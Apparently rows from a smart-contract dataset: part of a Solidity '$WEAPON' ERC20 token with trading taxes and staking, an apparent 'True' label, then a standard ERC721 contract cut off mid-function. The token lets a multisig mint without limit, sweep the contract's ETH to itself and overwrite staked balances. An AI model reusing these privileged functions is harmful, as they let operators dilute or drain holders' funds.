function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function stakedBalanceOf(address account) external view override returns (uint256) {
return _stakedBalances[account];
}
function getStake(address account) external view override returns (uint256, uint256, uint256) {
if (stakingEnabled && _stakedBalances[account] > 0)
return (_stakedBalances[account], _stakeBeginTime[account], _stakeExpireTime[account]);
else return (0,0,0);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require (_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_balances[sender] >= amount, "ERC20: transfer exceeds balance");
require(amount > 0, "$WEAPON: cannot transfer zero");
require(!(_isPool[sender] && _isPool[recipient]), "$WEAPON: cannot transfer pool to pool");
uint256 taxedAmount = amount;
uint256 tax = 0;
if (_isPool[sender] == true && recipient != _lp && recipient != _uniRouter) {
tax = amount * _buyTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
}
if (_isPool[recipient] == true && sender != _lp && sender != _uniRouter){
tax = amount * _sellTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
if (_balances[address(this)] > 100 * 10**9 && !_swapping) {
uint256 _swapAmount = _balances[address(this)];
if (_swapAmount > amount * 40 / 100) _swapAmount = amount * 40 / 100;
_tokensToETH(_swapAmount);
}
}
_balances[recipient] += taxedAmount;
_balances[sender] -= amount;
emit Transfer(sender, recipient, amount);
}
function stake(address account, uint256 amount, uint256 unstakeTime, bool isPlayer, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: must stake through staking contract");
require (account != address(0), "$WEAPON: cannot stake zero address");
require (stakingEnabled, "$WEAPON: staking currently not enabled");
if (isPlayer)
{
if (_stakedBalances[account] != adjustedStake){
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
}
require (unstakeTime > (block.timestamp + 86100),"$WEAPON: minimum stake time 23 hours 55 min");
require (unstakeTime >= _stakeExpireTime[account], "$WEAPON: new stake time cannot be shorter");
require (_balances[account] >= amount, "$WEAPON: stake exceeds available balance");
if (_stakedBalances[account] == 0) require (amount > 0, "$WEAPON: cannot stake 0 tokens");
_balances[account] = _balances[account] - amount;
_balances[_stakingContract] = _balances[_stakingContract] + amount;
_stakedBalances[account] = _stakedBalances[account] + amount;
_stakeExpireTime[account] = unstakeTime;
_stakeBeginTime[account] = block.timestamp;
emit Stake(account, amount, block.timestamp, unstakeTime);
}
function unstake(address account, uint256 unstakeAmount, bool isPlayer, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: must unstake through staking contract");
require (account != address(0), "$WEAPON: cannot unstake zero address");
require(unstakeAmount > 0, "$WEAPON: cannot unstake zero tokens");
if (isPlayer)
{
if (_stakedBalances[account] != adjustedStake){
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
}
require(unstakeAmount <= _stakedBalances[account], "$WEAPON: unstake exceeds staked balance");
_stakedBalances[account] = _stakedBalances[account] - unstakeAmount;
_balances[account] = _balances[account] + unstakeAmount;
_balances[_stakingContract] = _balances[_stakingContract] - unstakeAmount;
emit Unstake(account, unstakeAmount, _stakedBalances[account]);
}
function sync(address account, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: unauthorized");
require (account != address(0), "$WEAPON: cannot sync zero address");
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
function freezeMint(uint256 timestamp) external onlyMultiSig {
require (timestamp > mintLockTime, "$WEAPON: cannot reduce lock time");
mintLocked = true;
mintLockTime = timestamp;
emit FreezeMint(mintLockTime);
}
function thawMint() external onlyMultiSig {
require (block.timestamp >= mintLockTime, "$WEAPON: still frozen");
mintLocked = false;
mintLockTime = block.timestamp + 86400;
emit ThawMint(mintLockTime);
}
function mint(uint256 amount, address recipient) external onlyMultiSig {
require (block.timestamp > mintLockTime && mintLocked == false, "$WEAPON: still frozen");
_totalSupply = _totalSupply + amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(address(0), recipient, amount);
}
function toggleStaking() external override onlyMultiSig {
require (_stakingContract != address(0), "$WEAPON: staking contract not set");
if (stakingEnabled == true) stakingEnabled = false;
else stakingEnabled = true;
emit ToggleStaking(stakingEnabled);
}
function setStakingContract(address addr) external onlyMultiSig {
require(addr != address(0), "$WEAPON: cannot be zero address");
_stakingContract = payable(addr);
emit SetStakingContract(addr);
}
function getStakingContract() external view returns (address) {
return _stakingContract;
}
function setBuyTax(uint8 newTax) external onlyMultiSig {
require (newTax <= 10, "$WEAPON: tax cannot exceed 10%");
emit ChangeBuyTax(_buyTax, newTax);
_buyTax = newTax;
}
function setSellTax(uint8 newTax) external onlyMultiSig {
require (newTax <= 10, "$WEAPON: tax cannot exceed 10%");
emit ChangeSellTax(_sellTax, newTax);
_sellTax = newTax;
}
function setRewards(uint8 newRewards) external onlyMultiSig {
require (newRewards >= 20, "$WEAPON: rewards minimum 20%");
require (newRewards <= 100, "$WEAPON: rewards maximum 100%");
emit ChangeRewards(_stakingRewards, newRewards);
_stakingRewards = newRewards;
}
function setPool(address addr) external onlyMultiSig {
require(addr != address(0), "$WEAPON: zero address cannot be pool");
_isPool[addr] = true;
emit SetPool(addr);
}
function isPool(address addr) external view returns (bool){
return _isPool[addr];
}
function _transferETH(uint256 amount, address payable _to) private {
(bool sent, bytes memory data) = _to.call{value: amount}("");
require(sent, "Failed to send Ether");
}
function _tokensToETH(uint256 amount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniV2Router.WETH();
_approve(address(this), _uniRouter, amount);
UniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
if (address(this).balance > 0)
{
if (stakingEnabled) {
uint stakingShare = address(this).balance * _stakingRewards / 100;
_transferETH(stakingShare, _stakingContract);
}
_transferETH(address(this).balance, _vault);
}
}
function failsafeTokenSwap(uint256 amount) external onlyMultiSig {
_tokensToETH(amount);
emit FailsafeTokenSwap(amount);
}
function failsafeETHtransfer() external onlyMultiSig {
emit FailsafeETHTransfer(address(this).balance);
(bool sent, bytes memory data) = _msgSender().call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
receive() external payable {}
fallback() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
